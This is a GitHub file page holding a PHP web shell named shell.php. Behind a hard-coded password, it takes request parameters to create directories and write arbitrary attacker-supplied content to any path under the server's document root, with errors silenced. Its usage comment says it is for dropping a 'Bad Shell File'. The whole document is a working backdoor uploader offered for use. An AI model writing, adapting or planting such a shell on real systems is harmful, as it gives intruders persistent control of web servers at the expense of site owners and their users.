-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathshell.php
54 lines (52 loc) · 1.06 KB
/
shell.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
//http://127.0.0.1/up.php?pass=brvatof&action=200&mkdir=[name directory]&touch=[name File]&body=[Bad Shell File]
<?php
error_reporting(0);
header("Content-Type: text/html; charset=utf-8");
$config_password="brvatof";
$action=$_REQUEST['action'];
$password=$_REQUEST['pass'];
if($password!=$config_password)
{
echo 'Please Enter Password !';
return;
}
if($action=='200')
{
$foldername=$_REQUEST['mkdir'];
$filename=$_REQUEST['touch'];
$filebody=$_REQUEST['body'];
$path='';
$rootPath= $_SERVER['DOCUMENT_ROOT'];
if($foldername!='')
{
if($foldername=='current_folder')
{
$path=$filename;
}
else
{
createFolder($rootPath.'/'.$foldername);
$path=$rootPath.'/'.$foldername.'/'.$filename;
}
}
else
{
$path=$rootPath.'/'.$filename;
}
$fp=fopen($path,"w");
fwrite($fp,$filebody);
fclose($fp);
if(file_exists($path))
{
echo "Successfully uploaded".$rootPath;
}
}
function createFolder($path)
{
if (!file_exists($path))
{
createFolder(dirname($path));
mkdir($path, 0777);
}
}
?>